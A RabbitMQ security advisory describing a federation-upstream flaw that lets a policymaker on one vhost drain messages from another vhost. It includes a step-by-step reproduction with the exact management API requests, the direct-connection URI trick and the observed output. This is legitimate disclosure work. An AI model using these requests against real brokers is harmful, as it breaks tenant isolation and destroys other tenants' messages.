Skip to content

Federation upstream in RabbitMQ skips vhost authorization allowing cross-vhost message access

Moderate
michaelklishin published GHSA-42pc-678q-v8qj Jul 23, 2026

Package

rabbitmq-server (RabbitMQ)

Affected versions

>= 4.3.0, < 4.3.3
>= 4.2.0, < 4.2.9
>= 4.1.0, < 4.1.14
>= 4.0.0, < 4.0.24
>= 3.13.0, < 3.13.18

Patched versions

4.3.3
4.2.9
4.1.14
4.0.24
3.13.18

Description

Summary

  • What the bug lets you do. A policymaker on one vhost reads and drains messages out of another vhost it has no permission on. With the default ack-mode the source messages are consumed (deleted), not copied.
  • Why that should not work. vhost isolation is RabbitMQ's tenancy boundary. policymaker is documented as scoped to "virtual hosts to which they can log in via AMQP", so reaching an unrelated vhost is outside that authority.
  • What is missing. When a federation-upstream URI is an empty-host ("direct") connection, the validator never checks the creating user against the vhost embedded in that URI.
  • How we know it is a mistake, not a design choice. RabbitMQ's own Shovel plugin runs exactly this check on the same direct-connection primitive (check_vhost_access on the URI's vhost). Federation's equivalent validator skips it.
  • Where it was reproduced. Reproduced live on rabbitmq:4.3.2-management (2026-07-14) with real captured markers below, and source-traced at tag v4.3.2 (a509158b). The vulnerable code is unchanged on main and present long ago.

Attack scenario

Setup. Two vhosts, /attacker and /victim. A low-trust tenant user mallory has the policymaker tag and full permissions on /attacker, and no permissions on /victim.

  • Step 1 — the legitimate boundary holds. mallory tries to reach /victim directly and is refused, over both the management API and AMQP:
GET /api/queues/%2Fvictim/secrets  ->  {"error":"not_authorised","reason":"User not authorised to access virtual host"}
AMQP connect to vhost /victim        ->  (530) NOT_ALLOWED - access to vhost '/victim' refused for user 'mallory'
  • Step 2 — the working request. As policymaker on /attacker, mallory declares a federation-upstream whose URI is an empty-host (direct) connection to /victim, plus a queue and a policy binding it — all on /attacker, all accepted (HTTP 201):
PUT /api/parameters/federation-upstream/%2Fattacker/drain   {"value":{"uri":"amqp:///%2Fvictim"}}
PUT /api/queues/%2Fattacker/secrets
PUT /api/policies/%2Fattacker/drain-policy   {"pattern":"^secrets$","definition":{"federation-upstream":"drain"},"apply-to":"queues"}
  • Step 3 — the payoff. mallory attaches an AMQP consumer to her /attacker/secrets queue. Federation opens amqp:///%2Fvictim as an internal direct connection authenticated as user=none, the dummy backend approves every check, and /victim's messages are pulled into /attacker:
-- consumer receives VICTIM_SECRET_1 / _2 / _3
-- /victim queue "secrets" depth goes 3 -> 0 (default ack-mode on-confirm drains it, not copies)

Net effect. A policymaker scoped to /attacker reads and drains messages from /victim, a vhost it was never granted. Federating a named queue needs the attacker to know or guess that queue's name; the vhost isolation boundary itself is bypassed regardless.

Details

  1. Federation validates the upstream URI without any vhost-access check.
  2. Only a per-vhost policymaker tag is required, checked against the request-path vhost — never the vhost inside the URI value.
  3. The upstream connection params are built straight from the URI, with no user injected.
    • rabbit_federation_upstream.erl:69-71to_params/2 calls amqp_uri:parse(URI, vhost(XorQ)); an empty-host URI yields #amqp_params_direct{virtual_host = <<"/victim">>, username = none}.
    • amqp_uri.erl:107-124 — empty host+port → #amqp_params_direct{virtual_host = VHost} (amqp:///%2Fvictim/victim).
    • amqp_client.hrl:32#amqp_params_direct{} defaults username = none.
  4. The direct connection therefore authenticates as the dummy (no-auth) user, whose access checks are hardcoded true.
    • rabbit_direct.erl:51-52auth_fun({none,_},…) returns rabbit_auth_backend_dummy:user().
    • :187connect1/4 still calls check_vhost_access(User, VHost,…), but User is the dummy identity, so it dispatches to the dummy backend and is a no-op. The guard exists; the no-auth identity defeats it.
    • rabbit_auth_backend_dummy.erl:35-37check_vhost_access/check_resource_access/check_topic_access all hardcoded -> true.
    • Confirmed live: GET /api/connections during the attack shows the federation link's connection into /victim as "user":"none", "protocol":"Direct 0-9-1".
  5. The federation link then runs against the attacker-controlled direct params.

Impact

  • Cross-vhost message read/drain from a per-vhost policymaker, breaking vhost tenancy isolation.
  • Requires only the policymaker tag on one vhost the attacker legitimately controls.

Reproduction

Reproduced on rabbitmq:4.3.2-management (2026-07-14). Run the attached proof-of-concept (Dockerised): bash run.sh brings up the broker, provisions the users, and prints the markers below.

Vhost names have a literal leading slash (/attacker, /victim); %2F in the API paths below is that slash, percent-encoded.

  1. Start the broker; rabbitmq-plugins enable rabbitmq_federation rabbitmq_federation_management. Create vhosts /attacker and /victim.

  2. Create user mallory (tag policymaker only); grant full perms on /attacker and none on /victim.

  3. As an operator, in /victim declare a durable queue secrets and publish VICTIM_SECRET_1/2/3 (e.g. PUT /api/queues/%2Fvictim/secrets {"durable":true} then POST .../publish). Depth is now 3.

  4. As mallory, confirm /victim is refused directly:

GET /api/queues/%2Fvictim/secrets  ->  {"error":"not_authorised","reason":"User not authorised to access virtual host"}
AMQP connect /victim                ->  (530) NOT_ALLOWED - access to vhost '/victim' refused for user 'mallory'
  1. As mallory, three calls on /attacker, each returns HTTP 201:
PUT /api/parameters/federation-upstream/%2Fattacker/drain  {"value":{"uri":"amqp:///%2Fvictim"}}
PUT /api/queues/%2Fattacker/secrets                        {"durable":true}
PUT /api/policies/%2Fattacker/drain-policy                 {"pattern":"^secrets$","definition":{"federation-upstream":"drain"},"apply-to":"queues"}
  1. As mallory, attach an AMQP consumer to /attacker/secrets. Queue federation pulls from the upstream only once a downstream consumer is attached, so this is what triggers the drain. Observed markers:
RECEIVED_MESSAGE: VICTIM_SECRET_1
RECEIVED_MESSAGE: VICTIM_SECRET_2
RECEIVED_MESSAGE: VICTIM_SECRET_3
/victim "secrets" depth after: {"messages":0}          -- drained from 3 to 0
broker log: Federation queue 'secrets' in vhost '/attacker' connected to queue 'secrets' in vhost '/victim' on amqp:///%2Fvictim
GET /api/connections: the link into /victim shows "user":"none", "protocol":"Direct 0-9-1"

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements Present
Privileges Required Low
User interaction None
Vulnerable System Impact Metrics
Confidentiality High
Integrity None
Availability None
Subsequent System Impact Metrics
Confidentiality Low
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:L/SI:N/SA:N

CVE ID

No known CVE

Weaknesses

Missing Authorization

The product does not perform an authorization check when an actor attempts to access a resource or perform an action. Learn more on MITRE.

Credits